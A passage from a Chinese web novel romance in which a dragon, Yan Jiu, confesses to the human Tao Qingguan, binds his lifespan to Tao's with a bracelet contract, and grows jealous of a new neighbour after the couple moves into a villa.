“我羡慕过陶笠鹤。”说到这,宴氿不由失笑,“在你眼里,陶笠鹤只是爷爷,哪怕后来你知道对方的身份也一样。” “那时我在想,要是我也能有个看着长大的孩子就好了,能陪着我,会向我撒娇,我可以带着他在尘世闲游,即使是分别,彼此心底都清楚会有再见的一天。” “后来想想,我大概是想要一个家人。” 宴氿垂下眼眸,对上陶清观的目光,“最开始,我确实只想了这些,可渐渐地那些感情发酵变味,我不再满足于现状。” “我清楚,人类的寿命很短暂,或许要不了多久,你就会娶妻生子,你会组成新的家庭,而我又将沦为旁观者。” 宴氿抬手撩起陶清观耳边的碎发,手贴在陶清观脸颊边迟迟没有收回。 “我讨厌那种未来,想要你的未来有我,也只有我,我知道这很贪心,所以我会尽可能给你想要的一切。” “我爱你。” 咻! 烟花在山顶绽放,这场烟花秀终于迎来高潮,浓艳的色彩铺散开,如油彩在画布上晕染,没一帧都令人无法移开目光。 陶清观的注意力也被吸引过去,发出哇的感叹。 但烟花的美丽总是短暂,很快,夜幕又回归最初的模样,留下意犹未尽之感。 宴氿仍望着陶清观,他唇瓣抿紧,等待陶清观的回答,可陶清观半天没开口,他一颗心提起,“你……你不会没听见最后的话?” 烟花正好是在那时候响的,因为声音太吵没听见也有可能,宴氿陷入自我怀疑,纠结着要不要再说一遍,可气氛过了,再说又有点突兀。 宴氿面色发绿,算尽一切,愣是把烟花忘了。 陶清观眨眨眼,神情无辜茫然,待看到宴氿脸黑下来时,陶清观绷不住了,他转过身,斜靠着栏杆,笑意盈盈,“我听见了。” “照你这么说,你是又想当我妻子,又想当我孩子?”陶清观瞥向宴氿,面上的笑容带着些不怀好意,“宴娇娇,是不是呀?” 陶清观这会儿要是有尾巴,大概已经翘上天,他这会儿每根头发丝上都散发着得意。 宴氿不怒反笑,他托起陶清观的下巴,俯身凑近,“没错,所以囡囡同意吗?” 陶清观眉尖上扬,他抬手搂住宴氿的颈脖,在宴氿的注视下,吻了上去。 柔软的唇瓣相触碰,带着属于另一人的气息,唇齿相缠,舌尖撬开牙关,陶清观按着宴氿的肩膀加上这个吻。 宴氿诧异了一瞬,但很快又找回主动权,他搂紧陶清观的腰,探入温热的口腔,肆意攻略城池。 陶清观的肺活量,和宴氿这条老龙比还是差了一点,他眼尾殷红,喘xi声渐重,搂着宴氿的手也变为抵着对方的胸膛。 唇缝间漏出细小的呜咽声,陶清观用力推着宴氿,但这会儿他的那点力气对宴氿来说跟猫挠似的。 待一吻结束,陶清观唇瓣红艳,眼中也氤氲着雾气,他没好气地捶了下罪魁祸首,骂道:“跟狗一样。” 宴氿扬起的唇角根本降不下去,他反握住陶清观的手,弯腰凑到陶清观的颈窝边,张口咬下去。 陶清观嘶了一声,不是很疼,就是宴氿这一下整得他有点懵。 锁骨处传来痒意,伴着舌尖濡湿的触感,陶清观大概猜到宴氿在做什么,他啧了一声,倒也没阻止宴氿的动作。 “咬下边点,我明天还得见人。”陶清观抬手抚上宴氿的脑袋,随意揉了两下对方的头发,把宴氿梳理好的长发全揉乱了。 宴氿听到陶清观的话,故意在脖子上衣领遮不住的地方留下一个浅浅的吻痕,他直起身,舔过唇瓣,似在回味,“我给你咬回来。” 陶清观毫不客气地翻了个白眼,视线划过宴氿的领口,他忽然有了主意,“不用咬回来,你答应我另一件事。” 宴氿:“嗯?” “今晚你洗澡的时候别关门。”陶清观说得理直气壮,“我要看。” 宴氿一口回绝:“不行。” 陶清观不满,“这点小要求你都拒绝?你不给我看,还想给谁看?” 宴氿短暂地沉默了片刻,“太快了,而且家里没有那些用品,回去的路上可以买点,但我怕伤到你。” “停停停。”陶清观推开宴氿,耳尖泛红,“我就是想看看,你想到哪去了。” 宴氿语气平静,“想干你。” 陶清观投降,“……我不看了还不行。” 他说着要收回自己的手,可宴氿握得很紧,下一秒,陶清观感觉到一个冰凉的圆圈入自己的指尖,他望过去,发现自己无名指上已经多出一枚戒指。 宴氿将另一枚放入陶清观手中,开口道:“这是你们人类的仪式,你该给我戴上。” 陶清观欲言又止,欲止又言,“呃,这是结婚的仪式,不是用在这的。” “你不打算跟我结婚?”宴氿语气忽然拔高,看着陶清观的目光,宛如在看什么渣男。 陶清观、陶清观还能怎么样,他半是无奈地叹气,拿过戒指,给宴氿戴上。 看着两枚贴在一起的戒指,陶清观忽然有种感觉,他大概这辈子都甩不掉这条龙,对方的字典里好像根本没有分手二字。 不过…… 陶清观勾起唇角,这也不错。 “告白地点不会是卖戒指的店员告诉你的?” 宴氿嗯了一声,他像是想到什么,又多解释道:“之前我身上沾到的香水味,也是那个店里的。” 陶清观唇角的弧度越发明显,“嗯嗯。” “还有这个。”宴氿拿出与陶清观手腕上配对的手链,他将手链交予陶清观,开口道:“走完人类的仪式,该走我的仪式了。” 陶清观拿起手链,在眼前打量,问道:“是你的,还是龙族的仪式?” 宴氿:“都一样。” 反正龙族就剩他一个。 陶清观也想到这点,换了个问法,“你总得告诉我这东西有什么用。” 他已经不是最初的小白,手链上的浮动的灵他‘看’得一清二楚,而他手腕上的手链也跟着呼应,即使不仔细感应,也能发现其中的灵有规律的运转。 宴氿本来就不打算瞒着陶清观,他开口道:“我改良了一下,能加深我们之间的契约,以往共享的东西依旧在,同时加上一条寿命。” 又是小说熟悉的剧情,陶清观把玩着手链,说道:“所以戴上后,我也能活几百几千年了?” 宴氿神情一顿,“不能。” 陶清观对宴氿接下来的话,生出一种不妙的预感,“你不会……” “共享的是你的寿命。”宴氿将剩下的话说完,他垂下眼眸,“龙是种自私的生物,你说的那种契约确实存在,但仅限于龙族之间,无法与人类签订。” “我是最后一条龙,龙族所有的气运都在我身上。”宴氿眼底泛上一丝苦涩,“我连结束自己的生命都做不到。” 所以那一条龙最后看着他的目光是怜悯,这场孤独的旅途或许早已没有终点。 宴氿抬眸对上陶清观的眼神,说道:“这是我能想到最好的办法,戴手链上后,我能陪你慢慢变老,一起走过余生,哪怕时间短暂,也比看不到头的日子好上千倍万倍。” 他向陶清观伸出手,声音中带着些许祈求,“你愿意吗?” 第89章 第 89 章 陶清观:我答应还不行…… 陶清观张了张嘴, 却又不知该说什么,这个选择对于现在的他沉重了些,他好半天才找回自己的声音, 问道:“契约成立的条件, 是不是需要我同意。” 宴氿目光瞥向一旁,“嗯。” 他想过很多, 在陶清观离开后,或许他可以在重回海底,再一次陷入沉睡, 又或许他可以守在墓旁,虚晃度日,打发时间的方法有很多,可每一种都徒有无尽的空虚之感。 拥有之后的失去最为残忍。 “没想到你还是个恋爱脑。”陶清观想活跃一下气氛,但终究是没笑出来, 他望着耷拉着脑袋的宴氿,长叹一口气,“如果不是需要我的同意, 你是不是打算自己把契约定下?” 心思被戳中, 宴氿也没遮掩,“嗯。” “你真是。”陶清观气笑了, 他着实没想到, 确认关系的第一天,就和宴氿吵起来, 虽然宴氿完全没有还嘴的意思, 看着像个受气包,但陶清观清楚,对方倔得很。 这事要么他现在答应, 要么后来被宴氿磨着答应。 被牵着鼻子走的滋味不太好受,陶清观板着脸,不说话。 宴氿瞄着陶清观的脸色,低声道:“没有生物能永远活着,我迟早有一天会走向死亡,我已经活了很久,所以结局提早一些也无妨。” “别跟我扯这些哲学问题。” 陶清观蹙眉,额角隐隐作痛,他看了眼宴氿的神情,头更疼了。 掌心中的手链被捂热,又好像仍是冰凉刺骨,陶清观手指蜷缩,在宴氿期待的目光中无奈妥协,“好好好,以后你后悔可别怪我。” 宴氿眼眸瞬间亮起,“我不会反悔。” 他将手伸到陶清观面前,似是迫不及待,眼底缱绻的柔意与笑意交织,情绪浓烈到有些晃眼。 陶清观心底最后一丝犹豫消失殆尽,他执起手链的两端,垂眸为宴氿戴上,赤红的串珠闪过一丝微弱的幽光,若有似无的联系出现在他与宴氿之间。 但除了联系更紧密些,陶清观再没有其他的感觉,他望向宴氿,对方面上的喜色不会作假,契约完成了。 陶清观拨弄着自己腕上的手链,看着宴氿的笑容,他眉心的褶皱舒展开,“满意了?” 宴氿不语,忽然伸手托起陶清观,他抱着人转了一周,又紧紧搂进怀里。 陶清观只觉得眼前一花,他一百多斤的体重仿佛不存在,宴氿甩他跟玩似的,腰部被勒住,他抬手拍在宴氿后背,“松开点,你是想勒死我吗?” 宴氿手上力道轻了些,可抱着陶清观的手却没有松开,他贴着陶清观的面颊,秋日夜晚的空气带着一丝凉意,但心底的燥意抚平了一切。 “想再逛吗?”宴氿下颌抵着陶清观的发顶,他揉了两下陶清观柔软的发丝,嗓音低沉,“还是回去?” 陶清观一合计,晚饭吃过了,烟花看了,站在山顶上吹冷风也没什么意思,“回去吧。” “嗯。” 陶清观正准备推开宴氿,谁知宴氿直接一手搂着他攀上山壁,三两下爬到山顶。 山顶属于不开放的区域,此刻空无一人,宴氿借着夜色昏暗,干脆化为龙身,带着陶清观跃翔天空。 短暂地失重感传来,紧接着陶清观就落入宴氿宽广的后背上,繁华的夜色尽收眼底,他们在云层中穿行。 即使现在的宴氿不说话,陶清观也能感觉到对方的喜悦。 终于有对象了,开心也正常,他也挺开心的,但是…… 陶清观握住宴氿的龙角,高声说道:“你把那两坨龙布偶落下了!” 宴氿:“……” 最后的结果当然是回去拿龙,陶清观还挺喜欢这两龙的造型,丑萌丑萌的。 重新回到空中,陶清观手里多了两条龙,扑面的寒风被宴氿阻挡,吹拂过他时只剩下徐徐微风。 陶清观伸出手,感受风从指缝间流逝,他后仰倒在宴氿身上,笑声随风飘散,“等明年,再来玩吧。” 浅浅的龙吟声响起,宴氿托着陶清观在空中打了个圈,几分钟就能回家的路程,愣是让他游了近半个小时,让陶清观好好过了一把骑龙的瘾。 回到家中。 陶清观脚下有种踩棉花的感觉,他往沙发上一倒,对宴氿道:“你先去洗澡,我歇会。” 熟悉的流程,熟悉的对话,但这一次,宴氿走到陶清观身旁,俯身亲了下陶清观有点冰凉的脸蛋,笑道:“要和我一起洗吗?” 陶清观抬脚踹在宴氿腿上,抱着靠枕一个翻滚,“你站着不动,让我为所欲为的话,我可以勉为其难地考虑一下。” 宴氿握住陶清观的脚踝,装模作样地思考了两秒,“我说可以,你信吗?” 陶清观冷笑一声,用力又踹了宴氿一下。 宴氿松开手,逗弄需适度,惹恼了陶清观,他也没好果子吃。 收拾好衣服,宴氿走进浴室,听见门关上的声音,陶清观懒洋洋地靠在沙发上打了个哈欠,他揉了揉眼睛,目光触及到手腕上的那一抹红色。 陶清观动作停下,他食指勾住手链,拇指碾过串珠,他对法器的了解浮于表面,内里的构造他一概不清,本着对宴氿的信任,他并不怀疑手链的作用,只是…… 他敛下眼眸,将手链藏于衣袖中,脑海中浮现宴氿开心的模样,他唇角跟着扬起。 算了,若是真有问题,就到时候再说,维持现状也没什么不好。 休息了一会儿,陶清观起来收拾行李,他打算明天就搬到新房子去,不过新房子才布置到一半,即使他预先找了搬家工人,明天也有得忙。 到洗澡时,陶清观还在思考别墅的布局,总体布局已经设计好,剩下的都是些琐碎的东西,以及宴氿那条龙的卧室,到现在就添了个床,其余东西一概没买。 他提醒过宴氿几次,趁白天空闲的时候去家具城看看,有合适的就买下来,结果这么多天,宴氿也没个东西,不知道在想什么心思。 陶清观撇嘴,反正不是他住,随便了。 他关上花洒,拿过毛巾擦干身体,换上睡意后,陶清观直径走到自己房间,然后突然就看到某条登堂入室的龙。 宴氿靠在床边,他的枕头和陶清观的并排放在一起,但拿来的也只有枕头。 被子平铺在床上,前端盖住两个枕头的边角,打得什么心思一眼就能看出来。 陶清观扯了下唇角,他好像知道宴氿不买家具的理由了。 他走到床边,坐在宴氿身旁,面目表情地问道:“你今晚睡在我这?” “嗯。”宴氿长臂一捞,把陶清观搂进怀里,刚洗完澡,陶清观身上香香的,他拿过毛巾,帮陶清观擦头发,他自有一套逻辑,“伴侣不就该睡在一起。” 陶清观沉默,人是晚上在一起的,床也是晚上一起滚的,宴氿是怎么有脸说出进展太快这种话的。 “你……”陶清观词穷,他挥挥手,把宴氿赶到一旁,“再拿床被子进来,要么你就滚出去睡。” 宴氿自然是选第一个,他捧着自己的被子进来,紧贴着陶清观铺开,躺下后,宴氿声音愉悦,“晚安。” 陶清观:“……晚安。” 房间陷入一片昏暗,陶清观把被子裹紧了些,之前宴氿偶尔也会和他一起睡,现在不习惯说不上,但多少有些不自在。 大概是身份不一样了。 陶清观转了个身,在黑暗中望向宴氿那边,宴氿睡觉很规整,板正地躺在那,用一个不恰当的形容,像个躺板板的尸体。 蜷缩型睡姿在心理学上说,是没有安全感,宴氿这种——他忘了。 陶清观试着去回想,想着想着睡意笼上心头,半睡半醒之间,他忽然想起,这种睡姿多是沉默型人格。 宴氿跟沉默完全沾不上边,看来心理学的说法也不完全准确,陶清观脑海中飘过这个想法后,就迷迷糊糊地睡着了。 黑暗中,微弱的红色光晕浮现,又很快消散,仿佛错觉一般。 不知过了多久,陶清观熟睡的面容上多出一丝不安稳,他做着不太美妙的梦。 梦中,他行走与无尽的黑暗中,在这里声音似乎都被吞噬,除了他再无其它生灵,陶清观清楚地知道这是梦,可无论他怎么努力都醒不过来,黑暗是枷锁将他困于原地。 陶清观试着走了两圈,实在找不到什么特别的东西,他索性坐下来休息,大不了等到明天早上,宴氿肯定会把他叫醒。 他百般无赖地摩挲着睡衣的纽扣,就在这时,他面前忽然多出一道身影,正是他刚刚才念叨的宴氿。 陶清观立即爬起来,快步跑到宴氿跟前,他把人上下打量了一圈,问道:“你是真的,还是我想象出来的?” 宴氿沉默地站在那,宛如一具人偶。 陶清观等不到回答,伸手想戳宴氿,可还没碰到人,就有一道看不见的空气墙将他和宴氿隔开,陶清观皱眉,嘴里嘀咕着。 “不应该啊,这不是我的梦么,凭什么不让我碰。” 无论陶清观怎么折腾,宴氿都没有回应,他眼底甚至没有陶清观的倒影。 陶清观眉心拧成一个川字,他撸起衣袖,准备使用些暴力手段,可不等他动手,昏暗的空间突然亮了。 他动作顿住,下意识回首望向光源,那里站着许多人,或许用龙和精怪来形容更加恰当。 陶清观愣在原地,看着远处各种各样的生物走近,但在咫尺之距时,他们瞬间化为粉霁。 最后站在那的,只剩下宴氿,他神色漠然似乎早已习惯,可下一秒他不知想到什么,神色忽然变得慌张,在看到陶清观后,他如释重负。 被人猛地抱住,陶清观垂下眼帘,抬手轻拍宴氿的后背,哄道: “好啦,我不是在这么,干嘛一副要哭的表情。” 第90章 第 90 章 宴氿:谁都不准窥视我的…… 环在腰间的手臂丝毫没有松开的意思, 陶清观推了推宴氿,这次人是碰到了,但宴氿依旧没有回应。 就好像他和宴氿不在一个频道, 只是偶然有了交汇, 他们之间的联系有点接触不良。 “到底是怎么回事?”陶清观满腹疑惑,推不开宴氿, 他索性靠在宴氿身上,目光瞥见手腕上的红色,他灵机一动。 难道是这玩意搞得鬼。 陶清观伸手去扯手链, 发现根本扯不动,这下确定了,陶清观蹙起眉头,既然这样,眼前的宴氿大概率是真的, 毕竟手链是一对。 所以他是被扯进宴氿的梦里? 陶清观拍了下宴氿,预料之中地没有回应,现在这个姿势他看不见宴氿的脸, 也不知道对方是个什么反应。 他敛眸思索, 望着眼前的露在外面的肌肤,陶清观磨了磨牙, 张嘴咬下去。 齿下传来肌肤柔软的触感, 陶清观使了点劲,不得不说, 宴氿身上肌肉挺紧实的, 咬着费牙口。 痛感能刺激感官,虽然在梦里不知道有没有效,但先试试再说, 反正不会在真的在身上留痕迹。 陶清观拿宴氿磨了会牙,算是报晚上被宴氿抱着咬的仇,不过他牙半天,除了在宴氿身上糊了些口水,其他没有一点效果。 他两不会得这么抱到天亮吧。 要是宴氿白天也醒不来,他两岂不是要被一直困在这里。 陶清观啧了一声,他又使劲拍拍宴氿,“能听见我说话吗?” 宴氿没有回应。 陶清观长叹一口气,事已至此,只能使出必杀技了,男人总是最了解男人,哪里最疼,他了解得一清二楚。 膝盖屈起,陶清观眼底闪过一丝同情,安慰道:“你放心,这是梦里,不会影响到现实正常使用的。” 陶清观抬起膝盖,准备给小宴氿一个暴击,他刚碰到布料边缘,大腿忽然被人摁住。 宴氿捏着陶清观的大腿,修长的手指陷入肉中,勒出一个弧度,足以看出他使了多大的劲。 陶清观眼睛一亮,问道:“你醒了?” 宴氿没有回答,下一刻周围的空间倏然破碎,如碎裂的镜子一般四分五裂,宴氿的身影也跟着一同消散。 陶清观伸出去的手只抓到一片空气,他看着空荡荡的掌心,心底沉思,难道他用力过猛了?还是说梦境有下一阶段。 他停顿了一会,抬脚行走在虚空之上,这一次四周不再试无尽的黑暗,有点点荧光升起,暖黄色的光芒照亮这片天地。 渐渐地光芒越发强盛,陶清观走着走着听见起伏的呼吸声,那声音的来源像是沉眠的庞然巨物,光听响动就能想象出对方骇人的身姿。 身体的本能在叫嚣着后退,陶清观却神色淡定地继续往前走,他已经猜到对方的庐山真面目。 又过了一段距离,光点汇成星河,在星河之上盘踞着一条沉睡的巨龙。 巨龙通身雪白,鳞片泛着莹润的光泽,虽然陶清观不懂龙的审美,但他感觉宴氿在龙族中颜值肯定也是顶尖的那一挂。 陶清观记忆中只有宴氿龙形遨游天空的模样,像这样睡大觉的龙,他还是第一次见,陶清观走近些,想看得清楚一点。 这时,一道银白色的光芒一闪而过,若不是陶清观看得仔细,还以为是自己眼花了。 他眯起眼眸,快步走近,那道银白色逐渐清晰,在离宴氿仅剩数米时,陶清观看清银白色的真身。 那是一道道拇指粗的铁链,放在人身上结实牢固的枷锁,对巨龙来说不过是条细线,稍微用点力就能扯破,不过是这条巨龙甘愿被铁链束缚,安静地沉睡,才能保持现状 。 一瞬间,陶清观好像知道那些铁链是什么了。 他下意识抚上腕上的手链,心底冒出一个想法,区区人造的法器,真的能束缚住龙吗?就算能捆住,这份安宁又能持续多久。 陶清观面上的笑意淡去,他踱步走到宴氿跟前,巨大的龙首搁在地上,神色恬静,似在做一个美梦。 一道叹息声在这方空间回响,陶清观张开双臂抱住宴氿的脑袋,与宴氿贴着面颊,他轻声说道:“我陪你一起睡,以后,换你陪我。” 两道呼吸声交织缠绵,两颗心脏依偎在一起,静静地跳动。 …… 调皮的晨光跃入窗户,跳到床上留下一块块光晕。 陶清观睫羽颤动,缓缓睁开双眸,他眼底残存着睡意,望着面前的胸膛,脑子一下子没转过来。 “醒了?” 低沉的声音传来,带着属于清晨的慵懒磁性。 陶清观抬起头,看见宴氿那张俊脸,他打了个哈欠,心底想着,一早上看到宴氿还挺养眼的,不怪乎那些皇帝喜欢养年轻漂亮的妃子。 他揉了揉眼睛,从宴氿怀里坐起来,开口道:“你怎么这个点还没起。” “某人把我抱枕抱了一晚上,怎么醒来就翻脸不认人。”宴氿也坐起身,他的睡衣上留着明显的褶皱,正是陶清观昨晚翻案的证据。 陶清观扫了一眼宴氿,发出一声无所谓的哦。 宴氿能拿他怎么样。 陶清观从床内侧往外爬,想穿拖鞋去洗漱,爬到一半,宴氿将他截胡,陶清观压在宴氿腿上,扭头问道:“你要干嘛?” 宴氿气笑了,他捏了下陶清观的脸蛋,说道:“你是越来越猖狂了。” 陶清观:“哦。” 他从宴氿身上爬过去,将渣男形象发挥到极致,“是你非要跟我睡。” “嗯嗯。”宴氿能拿陶清观怎么样,打不得,骂不得,他顿了一下,凑上去亲陶清观的脸蛋。 他们都是伴侣了,讨一个早安吻合情合理,但下一秒宴氿惨遭拒绝。 陶清观推开宴氿,退得远远的,“你还没刷牙。” 宴氿控诉,“陶囡囡,你嫌弃我。” 回应他的,是陶清观铿锵有力的一声嗯。 宴氿:“……” “说不定是你昨晚做噩梦,抱着我不放。”陶清观倒打一耙。 宴氿没好气地瞥了陶清观一眼,“我昨晚没做梦,倒是你,昨晚梦见什么好吃的了,我醒来发现肩膀上多出一串牙印。” 陶清观一怔,转头望向宴氿的肩膀,上边的齿痕清晰可见,看得出来咬的人牙齿整齐健康。 原来昨天是真咬着了,怪不得他感觉口感那么真实,既然咬是真咬到,那…… 陶清观的目光不自觉滑到宴氿的□□,整个人陷入沉默。 宴氿被陶清观看得后背发凉,“怎么,难道是梦到难吃的东西了?” “不是吃的。”陶清观摇头,心底生出那么一点愧疚,“今晚我做顿大餐,就当庆祝搬家。” 不过宴氿居然没印象,也是,昨晚宴氿反应一直呆呆的,最后他找到宴氿时,对方也在睡觉,估计那些都是宴氿潜意识的反应。 陶清观余光掠过宴氿,不记得就算,反正不是什么重要的事。 “晚上做饭?”话题跳跃太快,宴氿没跟上陶清观的脑回路,他反手摸着肩膀上的牙印,心底狐疑,不是吃的,怎么咬这么狠。 “好了,你别墨迹。”陶清观催促道:“赶紧收拾收拾,我们去新房子那边。” 今天搬家是早就定好的,这个点工人大概也快到楼下了。 陶清观快速地洗脸刷牙,吃早饭,将最后一点行李打包好,送到车上。 上车前,宴氿走到陶清观身旁,俯身在陶清观唇瓣上落下一吻,他垂眸望着陶清观,说道:“早安吻,你也该亲我一下。” 陶清观头一次听说早安吻是这么亲的,他扯了下唇角,在宴氿期待的目光下,还是偏过头吻上去。 轻轻地一吻,一触即离,陶清观撇过脸,说道:“赶紧上车。” 宴氿嘴角扬起,心情肉眼可见的愉悦。 陶清观坐近驾驶位,插上钥匙,脚踩油门,向新家开去。 别墅区内。 陶清观将车停近车库,和宴氿一同拿着东西往家走,大件家具已经安置好,他们现在收拾些床铺摆件就行。 推开门,入眼是光秃秃的花园,陶清观从网上买了些种子,准备回头种上,有灵在,就算他种植技术稀巴烂,也不怕活不成。 走到屋内,地板干干净净,家具虽然少,但有种简约整洁的风格。 他请的阿姨没有钱没有白花。 陶清观将东西放下,对宴氿道:“门口堆了两个快递,你看看是什么东西。” “好。” 宴氿转身向外走去,陶清观则在屋内巡视,早点发现不足的地方,也能早点补救。 他逛完一圈,宴氿也没回来,陶清观不解,拿个快递怎么去这么久,陶清观从楼上下来,想看看是怎么个事。 抬脚走到院子,陶清观看见宴氿站在院门口,与一位女子交谈,对方正是他们的新邻居,郑妍妮。 陶清观眉尖上挑,来了几分兴趣,他故意没叫宴氿,踱步走过去。 说是交谈,但基本是郑妍妮一个人在说。 “你居然这么快就搬过来了。”郑妍妮笑着道:“晚上我送点吃的给你们,忙了一天,你们大概也没心思做饭。” 宴氿礼貌回答:“不用。” 郑妍妮没被宴氿冷漠的态度吓退,她努力找着话题,看到宴氿的衣服,她心思一动,“我们今天穿的衣服都是黑色诶,款式似乎也差不多。” 宴氿眉尖下压,他和陶清观穿的是情侣装,郑妍妮的衣服和他像,这岂不是在抢他情侣的位置。 正巧这时候宴氿发觉陶清观走近,郑妍妮和陶清观站一块还真有几分情侣装的意思,忘淡的记忆再次涌现,郑妍妮是陶清观会喜欢的额类型。 宴氿心底那点酸水开始冒泡了。 90-100 第91章 第 91 章 宴氿:喜欢?摸我的。…… “只是颜色凑巧一样而已。”宴氿长腿一跨, 凑到陶清观身旁,把郑妍妮晾在一边。 陶清观注意到宴氿眼中的敌意,心底觉得好笑, 这条龙究竟是怎么想的, 才会觉得郑妍妮是对他有意思。 他冲郑妍妮客气地笑笑,说道:“晚饭的食材我们已经买好, 就不打扰你了。” 郑妍妮面上闪过一丝诧异,她毫不吝啬地夸赞,“现在会做饭的男生很少见, 需不需要我帮忙?你们忙到晚上肯定累了。” 宴氿横插一脚,“晚饭我做,我不累。” 郑妍妮一愣,她抬眸望向宴氿,对方面色似有些阴沉, 看起来有些不好惹,她不由后退一步,心底生出异样的情绪。 她抬手撩起耳边垂落的碎发, 目光移到一旁, 试图用这些小动作缓和心底的不安,“……之前说的, 有个户外烧烤的活动, 附近几户人家都会来,你们有空吗?就当熟悉周边环境了。” 陶清观没有立即回答, 这种可去可不去的社交, 他兴趣不大,但郑妍妮这段时间帮了他们不少忙,给个面子也无妨, 只不过…… 他的视线掠过一旁黑着脸的宴氿,在心底半是无奈地叹了口气,“我们就算了,这两天还有不少东西要收拾。” “这样啊。”郑妍妮眼底划过一抹失落,但她也没强求,笑着向陶清观二人挥了挥手,“那我就不打扰你们了,拜拜。” “拜拜。” 陶清观也挥挥手,挥到一半,宴氿往他面前一档,语气沉沉。 “人已经走了。” 陶清观哭笑不得,他上下扫了宴氿一眼,调侃道:“醋坛子翻了。” 宴氿哼了一声,没否认,他抬手整理陶清观的衣领,拇指指腹碾过颈脖处的痕迹,语气不满,“她眼瞎吗。” 这么明显的痕迹都看不见。 陶清观没绷住,一下子笑出声,看着有些委屈的宴氿,陶清观更乐了,“哈哈哈哈哈哈……你怎么有脸说人家的。” 到底是谁瞎啊。 宴氿唇角绷直,他按着陶清观的后脑勺,俯身咬上去,叼着锁骨上的软肉不轻不重地研磨。 陶清观嘶了一声,揪住宴氿的头发,笑骂道:“我可是连她的联系方式都没有,你咬我干嘛。” 宴氿精准提取关键词,语气拔高,“你还想要她的联系方式?” 陶清观反手敲在宴氿脑袋上,面无表情地说道:“耳朵没用可以捐给有需要的人。” 宴氿冷哼,抱着陶清观不撒手。 陶清观脑阔隐隐做痛,这条老龙怎么这么难搞。 换做之前,他一脑袋就撞上去了,但现在关系变了,陶清观觉得自己的处理方式也该变一下,他抬起胳膊准备动手,谁知道下一秒宴氿忽然扣住他的手。 宴氿眉尖上挑,“同一个坑,我总不能栽三次。” 说完,不等陶清观反应,宴氿弯腰环住陶清观的腿,单手将人拖起,顺带在陶清观臀部拍了一下,软软的,肉感十足。 陶清观被拍得一激灵,他按着宴氿的肩膀,眼眸眯起,手顺着宴氿的衣领就滑进去了。 入手是结实又有弹性的xiong肌,他不顾宴氿骤变的脸色,猖獗地捏了两下,评价道:“锻炼的不错。” 宴氿抱着陶清观的胳膊收紧,面色流露出几分羞郝,他压低声音说道:“收敛点,这里是外面。” 他大步向屋内走去,陶清观手没拿出来,还得寸进尺地按了两下。 “意思是,回去就让我随便摸?”陶清观膝盖蹭过宴氿的腰,动作是大写的不安分。 宴氿眸色暗沉,眼底波涛涌动,他嗓音微哑,“那我们的行李得明天收拾了。” 陶清观闻言,把手收了回来,“还是算了,明天我想躺着休息。” 他踢了下宴氿,理直气壮地指使道:“走快点,回去干活。” 宴氿小臂上的青筋突起,他后槽牙咬紧,望着陶清观昂着下巴的模样,有些手痒。 “陶囡囡,你是拿准我不会动你吗?” 陶清观眨了眨眼,“床还没铺,窗帘也没装好,你是打算跟我野……唔。” 话还没说完,嘴就被捂住,陶清观看着宴氿黑中泛红的脸色,一脸无辜。 他说的可都是大实话。 宴氿缓缓吐出一口气,一字一句道:“收拾行李。” 陶清观摊手。 那边的公寓陶清观住了两三年,买的零零碎碎的东西还挺多的,陶清观一边收拾,一边浑水摸鱼,倒是宴氿收拾的很起劲,陶清观墨迹完一个小角落,宴氿都收拾完一个房间了。 陶清观盘腿坐在地上,懒洋洋地打了个哈欠,他望向窗外,太阳西斜,晚霞绵延,是时候吃完饭了。 现在家里收拾得差不多,一眼望过去有些空旷,但没关系,住上一段时间,总会有东西将这些地方填满。 陶清观站起身,拍了拍身上不存在的灰尘,抬脚向厨房走去,宴氿估计还要再收拾一会儿,正好他先做个晚饭,虽然宴氿说过要做的饭,但陶清观还没厚脸皮到把活全推给宴氿。 走进厨房,陶清观打开冰箱翻找食材,不得不说搬进别墅是挺爽的,厨房都是原来的两三倍大,设备也更齐全,省了不少麻烦。 陶清观拿出鸡翅,熟练地解冻焯水,厨房里有两口锅,陶清观趁着烧水的空档,又处理起另一道菜。 起锅烧油,放入姜蒜炒两下,香味立马就上来了。 闻到味道的宴氿走过来,见陶清观正在厨房里忙,开口道:“差个客厅,就完全收拾好了,我等会儿来帮你。” 陶清观刚要回答,忽然门铃声响起,他盖上锅盖,对宴氿道:“应该是我点的外卖到了,你看着点锅,我去拿。” 宴氿:“嗯。” 陶清观换好鞋,推门走出去,院子外站着外卖小哥,但不仅如此,郑妍妮也站在一旁。 看到是陶清观出来,郑妍妮眼底有失落一闪而逝,她手里拿着打包袋,开口道:“这是烧烤,我给你们留了一份。” “谢谢。”陶清观先是接过外卖,送走小哥,又拿过郑妍妮手中的打包袋,说道:“我刚做了菜,你正好带点回去。” “不用。”郑妍妮连连摆手,“我吃不下了。” 她两手交握,神色略微有些局促,“我想问一下,他……有女朋友吗?” 宴氿对她的态度很冷淡,她发消息,五六条对方才有可能回一条,还都是因为搬家的事,凭借她的第六感,宴氿应该是没有女朋友,可这么多天也没个进展,郑妍妮心底有股淡淡的挫败感。 她不盲目自信,可对自己的外貌与身材也有几分信心,但宴氿好像完全不感冒。 “没有。”陶清观看见郑妍妮眼眸亮起,他唇角挽起一抹弧度,眼底却没有多少笑意,“但他有男朋友。” 郑妍妮愣住。 就在这时,别墅的门打开,宴氿大步走出来。 看到郑妍妮,他脸就黑了一半,宴氿在陶清观身旁站定,他一手搂住陶清观的肩膀,刻意用的左手,无名指上的戒指在灯光下闪烁着光泽。 郑妍妮下意识往下陶清观的手,那里光洁一片,没有带任何饰品,一瞬间,她的喉咙像卡着一团棉花,不上不下。 陶清观注意到郑妍妮的目光,伸手抚过自己的后颈,银色的项链顺着他的动作被带出,挂在项链上的正是与宴氿同款的戒指。 郑妍妮脸色僵住,盯着陶清观唇瓣抿紧。 宴氿不乐意陶清观被人盯着看,他欲把陶清观拦在身后,却被陶清观制止。 陶清观把手上的东西塞给宴氿,对郑妍妮道:“天色不早了,你早点回去吧,改天我们请你吃饭。” 郑妍妮牵强地撤出一个笑容,“不用了,我也没做什么。” 她再也呆不下去,再见也没说一句,转身走人。 陶清观望着郑妍妮消失在转角,收回目光。 别墅区的治安不用担心,不过郑妍妮下次应该不会再来,这才搬来第一天,和新邻居的关系就变紧张,友好的邻里关系真难相处。 “还看。” 宴氿满是醋意的声音传来。 陶清观一抬眸就看见宴氿阴沉沉的一张脸。 宴氿眉眼下压,“有那么好看吗?” “没,我刚刚是在跑神。”陶清观立马撇清关系,“她就是过来送东西,我们没说几句,你就来了。” 宴氿不语,依旧板着张脸,他一手拎着东西,一手拽着陶清观往屋内走。 陶清观只好跟上,“诶,你跑出来,锅里怎么样了,没烧糊吧。” 